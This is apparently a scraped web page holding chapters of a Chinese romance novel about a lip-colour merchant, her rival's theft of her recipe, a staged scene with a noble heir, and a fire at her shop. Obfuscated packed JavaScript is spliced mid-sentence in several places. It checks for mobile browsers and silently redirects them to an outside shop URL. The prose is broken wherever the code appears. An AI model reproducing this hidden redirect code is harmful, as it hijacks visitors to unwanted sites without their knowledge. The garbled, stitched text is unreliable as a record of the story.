p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16444488|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “说。”他语气淡淡，却有种不容抗拒的气势。 黑衣人只好继续说道：“此人在王爷的那份名单里，属下只是想提醒世子，除非万不得已，莫要打草惊蛇。” 元琛略略颔首，须臾眸色一寒：“既如此，那就都别玩了。” * 点绛唇顶楼。沈妍迷迷糊糊做了几个乱七八糟的梦，不知过了多久，忽被外面的天光唤醒。 在她面前，模具中的口脂样品已经完好成型。 钗尖挑起一块，她将新成的样品抹在唇上，拿指腹晕开的瞬间，她盯着镜中的唇瓣，不禁怔住。 那饱满的暖红金色泽细滑莹润，富丽典雅，上面的云母碎屑在晨光中泛着点点浅金色光芒，如同阳光照耀下的湖面。 一旁，小满听见动静睁开眼，看见沈妍在照镜子，忙也凑上前：“怎么样了主子？” 话音落下，她目光定定落在沈妍的唇珠上。 下一瞬，兴奋的尖叫声划破清晨。 “啊啊啊啊！这个颜色和金缕砂色真的分毫不差！主子，成啦！我们终于有了自己的金缕砂色！”小满兴奋得一边嚷嚷，一边手舞足蹈。 沈妍被她吵得别开头，拿指尖掏了掏耳朵，随即，顶着两个黑眼圈长舒了一口气。 少顷，她拿起桌上的纸笔，笔尖饱沾了墨汁奋笔疾书，边写边道：“过会儿坊门开了，你让刘骥云把这份配方尽快送到南郊作坊。” 小满喜滋滋，脆声答应。 丁香原在外间昏睡，被小满的尖叫声吵醒后，睡眼惺忪地凑到沈妍跟前，盯着她的唇瓣端详了半晌，忽道：“不对！” 一顿后，她道，“这个金缕砂色，比原本的金缕砂更细润，也更香甜——啊啊啊啊！太好了！”她比方才小满喊得还大声。 旁边，小满一脸无奈地盯着她：“你开心就开心，这么说话真吓死个人。” 丁香嘻嘻一笑，冲上前一把紧紧抱住小满，口中难掩喜悦：“这下终于可以放心交货了。” 沈妍却冷声道：“不，不只是交货。”她遍布血丝的杏眼眸光一厉，“我要让李胭娘将本不属于她的东西交出来。” * 点绛唇对面的仙客来茶楼，李胭娘一早便让菊芬预定好了一间二楼临窗的雅室。 此刻，室内窗棂半支，她边悠闲品茶，边不时向窗外扫上一眼。 “主子，咱们这么早来茶楼做什么？”一旁，菊芬拧眉不解。 “等着瞧好戏呀。”李胭娘说着慢慢撂下建盏。 数日前，她打探出点绛唇今日有一大笔金缕砂口脂订单到期。 听说午前尚书府的楚管事会亲自上门取货。 她已经等不及想要欣赏一下订单爽约后沈妍的脸色了。 菊芬对此事尚不知情。李胭娘话音落下，菊芬想起适才看见点绛唇门外确实支起了一个戏台骨架。 此刻，几名伙计正忙着往上面铺设红毯。 “都什么时候了，点绛唇还有心思搭台唱戏。”菊芬不以为然地轻嗤一声。 李胭娘耸耸肩，眉眼间兴味十足：“交不出订单，姓沈的恐怕要亲自唱一出苦情戏了。” 主仆二人一唱一和，对即将到来的“好戏”均有些迫不及待。 等了不到一盏茶工夫，只见对面，沈妍和刘骥云等将楚管事一行送出门来，宾主间言笑晏晏，一团和气。 期间，沈妍还吩咐两名伙计帮忙，将一摞摞一尺来长的朱漆盒子搬进尚书府的马车。 事毕，楚管家向沈妍叉手致谢，还颇为满意地朝她比了个大拇指。 菊芬看得一脸疑惑：他们看起来是在……交货？ 那些盒子里装的该不会都是口脂吧？ “瞧着怎么不像订单违约的戏码？”她忍不住喃喃嘀咕。 33. 被抢 一旁，李胭娘面色微沉。 “莫非姓沈的这几日搞到了金缕砂？”菊芬疑惑地嘀咕。 “不可能。”李胭娘皱眉，“各路通道均已堵死，最近官府又查得极严，姓沈的绝无可能再弄到这么多金缕砂。” 她话音才落，外面响起一通锣鼓声。 点绛唇外，两名伙计身上披挂着红绸，正在用力敲锣打鼓。 距他们不远的戏台旁，随着一班演奏者奏响声声细乐，戏台上涌上来一队身姿曼妙的舞姬。 她们一个个身穿暖橘色舞衣，腰间系着豆绿宫绦，泥金画帛，通身的衣饰搭配正是时下最流行的侬丽色泽。 至于妆面——李胭娘视线在众舞姬的唇瓣上快速扫过，霎那间脸色一变。 金缕砂色——是金缕砂色——每个舞姬唇上点的均是正宗的金缕砂色口脂！ 这怎么可能？ 在这个节骨眼上，姓沈的哪来那么多金缕砂色口脂给舞姬们用？ 丝竹声声中，舞姬们跳起热情欢快的西域回旋舞，将演出推向高潮。 来往过客与附近百姓们受到吸引，此时一股脑围上前，欢呼、叫好声连绵不绝。 偶有达官贵人的车轿途经此处，见此热闹景象，也不由停下观望。 整条街道被堵得水榭不通。 一曲终了，沈妍款步登上舞台。她手中拿着一支红木雕花装裹的口脂，朗声给围观的众人讲解。 “这些美丽的舞姬今日所用口脂，全部是本店新推出的金缕砂色。该款口脂虽然看似与市面上的金缕砂色相同，实则却并非由矿砂制成，而是从纯天然植物原料中提取、调配，其中的闪光则来自天然云母，无毒无害，比之金缕砂更加安全。” “此外，我们还在这款口脂中添加了多种香料……” 她话音落下，原本在外围观的不少顾客争先恐后挤进点绛唇，也有贵人过客派遣下人登门求购。 这也难怪，近来由于金缕砂限售，市面上货品本就紧俏，加上凝香楼趁机抬价惜售，一时间金缕砂色口脂昂贵又难得。 而眼下，居然有了更好替代品，又是平价售卖。 顾客们不傻，赶上这好事自是争先恐后，生怕晚到一步东西会被枪光，当然，也怕过了这个时辰，便不再是这个价钱。 看着点绛唇外人山人海，李胭娘本就厚涂了铅粉的脸显得更白了：“不可能，这绝不可能……”她喃喃重复着。 雅室的门“砰”一声打开，她的掌事伙计永兴踉跄着闯进来：“掌柜，出事了！”永兴狼狈地喘着粗气，“最近一批金缕砂，在西山一带遭遇马匪，货全被抢光了。” “你说什么？”李胭娘闻言大惊失色，再也无法稳坐钓鱼台，霍然起身的瞬间却不由两腿一软，再次跌坐回圈椅上。 永兴又道：“咱们近日有好几笔大单都在等着这批货，还有十余个买家，与咱们签好了字据，眼下就等取货……还请掌柜拿个主意。” 李胭娘听他说着，面色越来越难看，片刻后想站起身，两腿竟是使不上力，只好将颤抖的手臂伸向菊芬：“快！扶我去见郡主。” * 一大清早，坊门才刚打开不久，等着兑现订单的客人们已将凝香楼团团围住。 金缕砂被抢的消息不胫而走。 不少客人因为早已付了钱款，此时均是心焦不已。毕竟，哪个不怕订单受损，最后落进空子里？ “再这么下去，我们生意都没法做了。”距凝香楼不远，一辆宽大的锦绣车轿内，李胭娘跪在桓莹玉脚边泫然欲泣，“郡主，凝香楼好歹也有您的份例，求您这次好歹帮帮胭娘吧？” 对面，桓莹玉没有直接回答她，而是闭目叹了口气：“好端端的，怎会遇上马匪？” “胭娘不知，镖师说，那一带向来太平，约莫是最近又闹饥荒了吧。”李胭娘有气无力道。 “不争气的东西！”桓莹玉垂眼看着她，一脸恨铁不成钢，“当初那个侍妾手中也没了金缕砂，她是怎么熬过去的？” 李胭娘勾着头，抬手抹了把眼角的泪滴：“她……找到了替代金缕砂的新配方。” “哦？”桓莹玉挑眉，似饶有兴味的眼神浮起几分疯狂的狠厉，声音阴寒道，“她倒有几分本事。” 李胭娘听得不寒而栗。 桓莹玉又道：“那你也用同样的配方交付订单不就好了。” “啊？”李胭娘不解——她是生意人，又不是手艺人，哪会研制什么配方？ 再说，事情真要那么容易，其他家老板也不会都从凝香楼高价买金缕砂了。 不过，她虽然这么想，到底不敢正经顶撞桓莹玉，只心虚道：“姓沈的哪会将她的配方给我们看。” 桓莹玉缓缓抬睫，透过纱帘看向窗外的目光另有深意：“那便由不得她了。” * 三日后，晌午刚过。点绛唇大堂，小满神色凝重地快步入内，绣鞋重重踩在店中的大理石地面上。 她手中紧攥着一支寸把长的雕花青玉圆筒，走到柜台前，将其递给正翻看账本的沈妍，气呼呼道：“主子，你看这个！” 沈妍将东西接过来，拔开盖子，视线在里面的暖红金色凝脂上一顿：“金缕砂色？”说着，她注意到手中口脂的质地，目光微沉。 将口脂凑近鼻端，她轻轻嗅了嗅，刹那间面色越发难看。 这支口脂的质地、气味，包含其中的闪光粉，均和眼下点绛唇售卖的一模一样。 想不到，对手仿造的动作如此之快，不过才一夜之间…… “这支口脂是我刚叫人从凝香楼买的。”小满忍不住拔高了嗓门，“那个李胭娘当真无耻，居然抄袭我们！” 话音刚落，刘骥云行色匆匆地从库房走来，沉声道：“恐怕不只是抄袭这么简单。”他神色一厉，“咱们南郊作坊昨晚进了贼。” 小满闻言有些回过味来，愕然道：“你是说……” 像在肯定她的猜测，刘骥云点头道：“所有东西都在，唯独金缕砂色的新配方丢了。” 小满恍然大悟，咬牙恨恨道：“一定是李胭娘！我们快去报官吧。” “已经报了。”刘骥云叹了口气，“但能否查出什么……还有，就算查出来，官府会怎么处理，那就要看李胭娘的后台有多硬了。” “这还要多明显？难道我们就拿那个坏女人一点办法都没有？”小满愤愤不平。 刘骥云无奈地摇了摇头：“窃贼狡猾，现场没留下任何证据。倘若李胭娘一口咬定配方是凝香楼自己研制出来的，我们能有什么没办法？” 话落，周围一阵沉默。少顷，沈妍肃容道：“以后无论作坊，还是店面，晚上都要再加强防范，叮嘱伙计，务必关好门窗，也只能先这样了。” 一顿后，她扯了扯嘴角道：“无妨，配方可以被偷走，招牌和信誉却是偷不走的。” 刘骥云闻言深深点了点头，应声下去做事。 其实他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16465789|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和沈妍均知晓，原本店面和作坊两处每晚都留了人值夜，被盗当晚门窗也关得严实，尤其那张新配方，藏在上了层层枷锁的柜子深处，竟然还是被偷了。 究竟是什么样的盗贼，有这么好本事？ * 是夜，二更天。卫王府迎晖阁书房。 一名黑衣人快步入内，冲书案前叉手道：“世子，那批金缕砂截获后，已秘密运送至京中，接下来要如何处置？” 元琛原本手执书卷，闻言缓缓放下，慢条斯理开口：“你们江湖人士，不是都喜欢替天行道？” 黑衣人一愣，又听元琛语气淡淡道：“这么好的东西，京中却缺货已久。眼下各大店铺的老板们焦头烂额，我们何不趁机做些善事，给他们分发一下？” 黑衣人闻言了悟地向他拱手，神色恭肃：“属下明白。” * 轻风徐徐，鸟语花香，兰竹轩花厅内，沈妍坐在石桌旁，一页页翻看着口脂配方，旁边是一排对应的口脂小样。 自从金缕砂风波过后，店面上还算太平。另外，卫世子这边最近有些应酬需要她配合。方便起见，沈妍暂时搬回了卫王府。 这厢，沈妍正看得投入，眼前忽地一暗，男子高大颀长的身影投在石桌上，与她的重叠在一起。 沈妍微微抬头向来人，竟是愕然半晌。 “世子？”她讷讷道，回过神，忙起身一礼。 “怎么，见到我很意外？还是压根不想看见我？”元琛面色无波无澜，低闷的声线竟似染了几分幽怨。 沈妍：“……”不想见人的明明是你吧？怎么还倒打一耙？ 她觉得卫世子就是存心来找茬。 此人最近很是莫名其妙，具体沈妍也说不上来，就总觉得哪里别别扭扭。 不过，即便如此，沈妍也不想再触他霉头，于是只不咸不淡地回了他第一个问题：“此处是世子的府邸，您出现在哪都不意外。” 元琛没说话，一言不发地步入花厅，一撩衣摆在沈妍旁边的石凳上坐下来。 沈妍见状，起身换了壶茶过来。 元琛不喜甜腻的香引子，只喝气味清苦的茶。 她给茶炉下面重新填了些炭块，吊子里注入清水，等着里面再次沸腾。 此间元琛视线有意无意落在她身上，但每次不等沈妍抬眼，又匆忙移开。 “世子有何吩咐不妨直说。”沈妍仿佛头侧生了眼睛，微微颔首，边拿银匙将茶粉舀入建盏边道。 元琛闻言面色一僵，随即清了清嗓子：“的确有件事，想请你帮忙。” “世子请讲。” “你觉得平陵郡主如何？” 沈妍愣了愣，随即压下心底涌起的疑惑，声色无波道：“世子指哪方面？” 元琛没吭声，慢慢抬起睫羽看着她，语气意味深长：“你觉得是哪方面？” 沈妍不想同他兜圈子，虽有些讶异卫世子的选择，还是如实答道：“无论家世、门第，郡主与世子都可堪相配。” 话落，元琛薄唇微抿，眉目刹那染上了一层阴翳。 见卫世子突然没了下文，沈妍略略抬眸，继而注意到他的脸色，心头一颤，小心翼翼补充：“妾不过就事论事，若有哪里说的不对，还望世子见谅。” 她觉得自己是越来越看不懂这个人了。 元琛闻言闭了闭眼，须臾睁开，似是耐着性子道：“对方几次遣人送来拜帖，这一次我不打算再回绝。” 34. 奉茶 沈妍伸向茶壶的手一顿，心没来由地沉下去：“那世子想要妾做什么？” 抬眼却见元琛幽深的目光静静落在她身上：“我想请你帮我，让桓莹玉打消这个念头。” 沈妍：“？”什么意思？ ——让桓莹玉打消对他的念头？也就是说，卫世子想让她帮忙气跑桓莹玉？ 她还以为是…… 不动声色地将手中茶壶撂在桌案上，沈妍这才意识到适才自己的反常。 为何她会如此在意这件事？ 明知对方是高不可攀的卫世子，明知她和元琛之间只是契约关系，明知他对她全无情意，乃至数月之后，他们便会各奔东西…… 然而那一刻，她还是情不自禁被他牵动心绪。 “嗒，嗒——”元琛屈指在桌面上敲了敲，清亮敏锐的目光探寻地打量着沈妍，“在听吗？” 沈妍闻声收回心神，冲他点头：“好。” 不就是怎么气人怎么来？这事她会。 事情交代完毕，依照惯例，沈妍觉得卫世子该走了。 今日已经是近来他同她说话最多的一次。 结果元琛却仍坐着没动。 骨节明晰的手指轻轻转动着建盏，他再次掀起眼帘看向她，眼底晦暗不明，像有什么话欲言又止。 “世子还有何吩咐？”沈妍不禁问道。 闻言，元琛眸光闪了闪，道：“最近你的店铺可还顺利？” “回世子，一切都好。”希望世子也能继续保持疏远，别再扰她心神。 元琛颔首，眸底却浮起一缕微不可察的失落：就没有什么需要他帮忙的了？ 念及此，他忽又想起什么，道：“上次你叫我托人带的白檀香快用完了吧？” 沈妍：“回世子，还有很多。” “哦……”元琛顿了顿，抬手端起建盏，遮住半张脸，“好用么？” 沈妍：“嗯。”世子今日话怎么这么多？难不成还有别的事？ “好用便好。”元琛长指状似漫不经心地敲打着桌面，言罢，又没话找话地问了几句有的没的，这才慢吞吞站起身：“如此，那便不多打扰了。” 沈妍冲他一礼，目送卫世子离去。 不知为何，忽觉他此刻的背影有种怪异的落寞。 * 翌日，一辆锦绣香车停在了卫王府大门外。 轿厢前，车夫趋步递上脚蹬，随着轿帘掀启，桓莹玉由宝瓶搀扶着踏下轿辇。 另一边，郑嬷嬷与另一位管事嬷嬷早已立在大门口等候，见桓莹玉下车，忙迎上前将她迎入府内。 不多时，两位嬷嬷引着桓莹玉来到水榭边一座待客的花厅。 通往花厅的廊道两侧遍植忍冬，在此时节密密麻麻的金银花交错缠绕，次第绽放，每行一步，都有清冽的暗香浮动。 桓莹玉边走边抬起眼帘，远远望见花厅中的男子长身玉立。他穿一袭月白襕袍，玉带束腰，肩宽腰窄，身姿英挺。 一头墨发松散半扎，顶发盘起，束着白玉发冠，人站在花架下，真个宛如天上谪仙。 桓莹玉看得怔怔出神，及至踏入花厅，经宝瓶提醒，方找回神志，敛眸向元琛施了一礼，飞红着脸轻唤：“表兄。” 对面，元琛叉手回礼，玉雕般的俊颜无波无澜，一如既往地清冷矜贵。 随着他朝前方的一个坐榻做出有请的手势，桓莹玉抑制不住心跳加速，以至于不得不从元琛身上挪开视线才略觉好些。 她一面落座，一面环顾四周，只觉往事如烟，格外引人怀想。 视线最后落在廊道间那片忍冬上，她感慨地开口：“记得那些忍冬还是当年先王妃亲手栽下，没想到如今竟已茂盛至此。表兄可还记得，我们小的时候——” 话未说完，她声音一顿，面色沉冷下来。 前方，抄手回廊上，一个亭亭的妙龄女子正端着茶盘向花厅这边走来。 她穿着一条素色襦裙，上身是修身的霜色半臂，臂上挽着藕荷色轻纱，莲步轻移间，腰若流纨，媚态多姿。 看着来人一步步走近，桓莹玉渐渐皱紧眉心，偏头看向元琛时，却发现他也正瞧着来人怔怔出神，墨黑的眼底却是一片柔波潋滟。 仿佛被什么刺了一下，桓莹玉嗓音陡然尖厉：“她来做什么？” “奉茶。”元琛淡道，说这话时视线仍未从沈妍身上挪开。 桓莹玉面色越发难看。 ——北境王世子何等身份？怎能放任这等妖精在府中肆意来去，抛头露面？ 她忍耐地闭了闭眼，但不悦的声音还是冲口而出：“府上没有侍奉茶水的女使吗？” “那倒不是。”元琛似未察觉她的不满，不以为意道，“只不过别人奉的茶我喝不惯。” 这话听着实有些气人。 话音落下，桓莹玉瞬间脸色煞白，她错愕地望向元琛，似乎不明白，这位素来行事端稳的表兄，何时变得这般不知深浅。 须臾，像是找到了答案，她锥子般的目光再次落在沈妍身上。 回廊中，女子已端着茶盘款款走近，越发能看清楚整个人玉质天成，只不过那身姿摇摇曳曳，却似弱柳扶风。 哼，装什么柔弱！桓莹玉心中愤然冷嗤。 怎料下一瞬，女子前脚跨入花厅的霎那，不知怎么绊了一下，失手将茶盘打翻在地。 滚水混着茶壶、建盏的碎瓷片，溅在她素白的裙角与鞋袜上，顿时染湿好大一片。 由于事发突然，桓莹玉本能地腾一下站起身，想要先闪开。宝瓶更是一脸戒备地挡在主子身前。 谁知道这女人安的什么心思？倘若她走得再近些，甚至干脆将热茶泼到郡主身上怎么办？ “你想做什么？”桓莹玉冷睨着沈妍，厉声质问。 沈妍匆忙比手致歉：“郡主恕罪，都怪妾身不小心失手，让郡主受惊了。” 桓莹玉没理会她，略偏头瞥了眼一言未发的元琛，终是整了整衣摆，矮身坐下来。 旁边，宝瓶则狠狠剜了沈妍一眼。 主仆两个并未注意到，面对这一变故，元琛眸底也掠过一丝讶然。 他之前的确和沈妍商定好，要让桓莹玉打消对他的念头，但并未细致到具体都做哪些事，不过是凭着以往的默契，随机应变罢了。 那么，刚刚沈妍是不小心，还是故意？ 她并非毛手毛脚之人，有无可能，她心里其实也不喜欢桓莹玉缠着他？ 这边，见桓莹玉未怪罪，沈妍忙弯下腰，去捡地上的托盘与碎瓷片。 此处早该有元琛道一声“无妨”，随后顺手与她秀个恩爱之类，但这次不知怎么，卫世子竟迟了一瞬。 就这一刹那工夫，沈妍一不留神被碎瓷片划了一下。 如果说此前故意摔碎茶壶、寻桓莹玉的晦气，是沈妍故意为之，好让元琛顺势表演对宠妾超乎礼法的偏宠与溺爱，让桓莹玉知难而退。 但被割伤这下，属实在沈妍意料之外了。 演戏归演戏，她倒没想过要跟自己过意不去。 眼看着殷红的血珠顺着指尖滴落，沈妍忍不住轻嘶一声。 却不料前方，元琛忽然一个箭步冲过来，眉心紧拧，一把握住了她手腕。 继而，在桓莹玉瞠目结舌的注视下，他竟将沈妍划伤的手指放入口中轻轻吮吸。 那对薄红的唇瓣含住她染血的手指，目光竟沉得快滴出水来。 看着前方的一幕，桓莹玉不知因为震惊还是愤怒，左半边脸面皮蓦地抽动了一下。 ——这还是她那个冷情冷性的表兄吗？ 下一瞬，只见元琛一手揽住沈妍的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492248|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腰肢，另一只手臂穿过她膝弯，竟将人打横抱起，嘴上道了声“少陪”，便大步抱着人跨出花厅。 期间，甚至顾不上给桓莹玉一个眼神，只是目光沉沉，定定望着怀中人。 花厅内，望着骤然走远的二人，桓莹玉眼眶不知何时已是猩红一片，身侧，纤长的丹蔻深深掐进掌心。 * “世子，不必再演了吧？” 眼看靠近迎晖阁，附近连个人影都没有，沈妍忍不住提醒元琛，“郡主早就看不见了。” 元琛却未回答，继续步履不停地将她抱进内厅，轻轻放在坐榻上。 双手撑着坐榻扶手，他将沈妍困在身前，低眸定定看着她，面色沉肃：“让你配合演戏，谁叫你自残了？” 沈妍被他盯得头皮发麻，张了张口，刚想解释两句，他却已反身离开，大步至书桌前一通翻找。 “出了点意外，一点小伤而已，世子难道不觉得刚刚其实效果很好吗？”在他身后，沈妍终于把方才的话说完。 话音落下，元琛忽然面沉如水地转过身，不可思议地凝着她，片刻，漆黑的眸底眼波微动。 沈妍：“……” 这眼神是……惊讶？责怪？ ……该不是感动，或者……关心吧？ 沈妍看着他，不知为何竟有一瞬失神。 期间，元琛已快步走向她，边走边拔开手中白色小瓷瓶的软木塞。 下一瞬，他在圈椅前蹲下身来，单膝撑着地面，拉过沈妍的手腕，长指微抖，将微凉的药膏倒在她的伤处。 沈妍猝不及防，瞧着元琛这一连串的动作，不禁一脸懵。 ——什么什么？世子居然在亲自帮她上药？ 再者，他这姿势……貌似有些不妥吧？ 不过元琛显然没想那么多，只是动作轻柔、一丝不苟地将沈妍指端的药膏抹均。 片刻后，沈妍终于醒过神来：“世子，还是我自己——” “疼吗？”边抹药，他边打断她，动作和声音都轻柔得不像话。 沈妍：“……”她刚想说什么来着？ 仿佛被眼前的卫世子催眠，须臾，她才意识到元琛在问她什么，连忙摇了摇头。 忽然不敢看那对深潭般的眼眸，她错开了视线，垂着眼盯着自己受伤的手指，以此转移尴尬。 结果看着看着，不知何时目光又飘到了卫世子身上。 男人的手指骨节修长，肤色白皙，仿佛玉雕塑而成，覆着薄茧的指腹虽有些粗粝，却因为动作轻柔，丝毫没有弄疼她，反而有些酥痒，微热的体温顺着指尖丝丝缕缕传导过来…… 沈妍心跳忽然有点乱。 “记住，以后无论发生什么事，都不可以再伤害自己。”元琛边上药边沉声说道，语气带着几分罕有的凝肃。 沈妍：“……” 其实她真没想到会是这样。 此刻元琛低垂着头，沈妍看不清他的表情，只听见一个声音低低沉沉，像雨后的微风掠过松林，是难以形容的好听。 她想解释什么，一时却忘了开口。 “听到没有？”元琛忽然抬睫，正色盯着她。 “哦。”讷讷应了一声，后面沈妍竟不知该说些什么才好。 好在元琛并未注意到她，上完药后，又继续动作熟练地给她裹伤。 不知过了多久，待伤口包扎完毕，沈妍紧绷的身子终于一松。 怎料下一瞬，卫世子忽一把扯过她的小腿，一手捏着她脚踝，另一只手利落地帮她除去了鞋袜。 沈妍：“等……” 已经晚了。 因为担心她适才被热水烫到，元琛这会儿并未多想，给她包扎完受伤的手指后，又顺势察看其他伤处，直到视线冷不丁撞上一只莹白的玉足，他方意识到什么似的顿住。 35. 走水 一抹潮红顺着他的耳根蔓延至后颈。 而此时坐在对面的沈妍也没比元琛好到哪去。 脚踝骤然触及一小片异样，温热、酥痒的触感仿佛穿透肌肤，迅速向上升腾。 脸颊滚过一阵热意，她连呼吸都滞涩起来。 须臾找回神志，连忙从元琛手上抽出脚踝：“我真的没事。”她尽量语气自然，边说边匆匆套上鞋袜，一口气逃离了书房。 另一边，书房内，元琛失魂落魄地坐在榻边，指端仍残留着女人的体温以及她脚踝上细腻、滑凉的触感。 喉结滚了滚，他听见自己擂鼓般的心跳响彻耳际，良久，无奈地扶额，唇边染上一抹苦笑。 * 数日后，春和景明，韩国公府主母季氏做东，邀了一众相熟或是交好的女眷至府中小聚。李胭娘也受邀前来。 这厢，桓莹玉和李胭娘各自带同婢女泛舟湖上。 彼此闲聊近况时，话题不可避免地又转到沈妍身上。 昨日桓莹玉和宝瓶去卫王府拜访，期间却因为一个侍妾作妖，被她日思夜想的表兄晾在一旁。 桓莹玉一怒之下不辞而别，至今仍未缓过来这口气。 宝瓶趁机将昨日郡主的遭遇添油加醋地给李胭娘说了一遍。 后者听后也被勾起痛处，冷哼一声，同仇敌忾道：“那贱人定是见不得郡主与世子单独相处，什么绊倒，划伤？不过都是惺惺作态，故意为之罢了。” 宝瓶道：“奴婢也这么觉得，那个侍妾就是这种人——狐狸精！” “是又如何？”桓莹玉微红着眼圈，整个人显得无精打采，“她有表兄护着，我们又能拿她怎样？” 话音落下，舟上陷入一阵静默。四周围仅能听见嚯啦啦的划水声，像有人在凉飕飕地密语。 少顷，李胭娘眼底浮起一抹阴狠，压低声音，语气循循善诱地对桓莹玉道：“据胭娘所知，姓沈的这几日就宿在店中。郡主之前能派人搞到那张配方，难道就不能叫那人顺手再做点别的？” 宝瓶闻言，恍然侧目看向郡主。 桓莹玉却依旧面无表情。 此时轻舟已抵达岸边，李胭娘和她的女使菊芬随后被其他女宾叫去游玩。 湖边仅剩下桓莹玉主仆时，桓莹玉忽对宝瓶道：“去把盐帮阿大给我叫来。” 盐帮是韩国公在剑南之时收拢的一个江湖帮派，从前以贩卖私盐，打家劫舍为生，其中不乏一些身手出众的江湖人士。当然，干这行的，全都是亡命徒。 后来，盐帮被韩国公收服，暗中替他做一些不方便摆上台面的事。 桓莹玉偶尔也帮父亲处理些力所能及之事，期间与这个帮派打过几回交道。 不多时，湖心亭。一名眉心带刀疤的中年汉子沿木制长廊大步赶至亭中，向桓莹玉叉手：“郡主找阿大来有何吩咐？” 桓莹玉于是对他说出了自己的计划。 阿大闻言道了声“是”，领命退下。 片刻后，桓莹玉忽又想起什么，吩咐宝瓶：“你去告诉阿大，此事我暂时还不想闹到爹爹那里，万一阿大手下的人行动败露……” 宝瓶听她说着面色一讶，但很快恢复平静，了然地点点头，抬脚去追阿大。 看着宝瓶的身影走远，桓莹玉幽幽叹了口气，喃喃脱口：“表兄啊表兄，多年不见，你还当莹玉是当年那个小女孩？” 适才，李胭娘说昨日之事是姓沈的侍妾故意为之，其实真正故意为之的，应该是她的表兄元琛才对。 他明知她心意，却故意当着那个侍妾的面将她晾在一旁。 桓莹玉向来知晓，元琛从不是一个没有分寸的人。 昨日却对她失礼至此，未免太过刻意。 摆明了，他是想让她知难而退。 桓莹玉自幼家境富足，被周围人百娇千宠着长大，日子久了，养成了一些人尽皆知的怪癖。 比如，但凡别人碰过的东西，落到她手里，不管那东西有多好，她都会将之丢弃。 但元琛这次却低估了他自己，对桓莹玉而言，他并不是什么可有可无的物件。 而她，也不再是当年那个单纯幼稚的小女孩。 如今，她桓莹玉想得到什么，除掉什么，有的是力气和手段。 * 夜近三更，常乐坊内，绝大部分百姓都已进入梦乡。 此时若有人站在高处放眼望去，便可看出，唯有仙客来茶楼的几处雅间仍亮着灯。 这几日忙着为新品备货，沈妍和小满、丁香三个一天到晚在店中忙碌。 晚间店铺打烊后，她们又继续忙到近二更天。 布置好货架后，沈妍提议去对面的仙客来小坐一会儿，松散松散心神，顺便犒劳一下近日的辛苦。 丁香和小满听完均拍手赞成。 虽说仙客来是家茶楼，但对小娘子们而言，里面的各色精致茶点和香引子才是她们最为青睐的。 三个女子当即熄灭灯烛，关好了顶楼各房间的门窗，最后同大堂值夜的伙计小赵打了声招呼，说说笑笑结伴朝街对面走去。 沈妍特地包下了二楼一间雅室，由她做东，三女分别点了各自喜爱的精细茶点和香引子，又叫跑堂给小赵包了几样点心，这才不紧不慢地吃喝起来。 正享受这份难得的闲暇，忽见窗外霍然大亮，刺眼的光芒仿佛白昼提前到来。 三女诧异地往窗外一瞧，霎时间全都目瞪口呆。 那亮光居然来自点绛唇——就在正对着他们的二楼，熊熊火焰，滚滚烟尘正从一个个窗口大肆窜出。 “走水了！”一声惊慌失措的吼叫划破夜空——是值夜伙计小赵的声音。 话音落下，沈妍三个终于如梦方醒般从愣怔中回过神，边呼喊边跑着冲下楼梯。 “走水了！”，“点绛唇走水了！”，“快救火呀！”…… 几乎同时，外面响起一通鸣锣——是附近值夜的巡防发现了火情，在敲锣示警。 紧接着，附近的商户、百姓们听见动静，纷纷披衣、开门，陆陆续续向街心聚集。 上都城有规定，各坊坊道边每隔一段距离，须备有太平缸，并且常年有专人填水打理，就为防范突发火情。 沈妍三人赶到点绛唇外时，已经有人拿着水桶、水瓢、沙土、扫帚上去扑救了，一时间灭火的，运水的，搬东西的……乱成一团。 由于火是从二楼先烧起来，人在外面很难直接扑救，只能先从大堂进去，再一步步向上推进。 二楼也不知是什么易燃物着了，火势扩散异常迅猛，兼借着夜风，霍拉拉直往楼下蔓延。 沈妍三人快步冲进大堂，和小赵一起，临时找出了不少水桶、水盆、麻搭、锹头等一应灭火之物。 期间，望火楼的巡防们也发现火情赶过来，众人七手八脚，才勉力控制住火没烧到一楼的货架。 因楼上不时有烧毁的物件滚落，巡防担心沈妍等三个女子躲闪不及，遭遇意外，遂安排她们同其他百姓前去运水，扑火的事还是交给男人们解决。 这边，三女赶到店外时，沈妍忽想起元琛之前送她的紫胶还在地下库房中。 趁着大堂火势渐消，她对丁香、小满道：“我去库房把剩下那盒紫胶取出来。” 言罢，不等丁香、小满开口，她已拿画帛堵住了口鼻，快步返回大堂。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 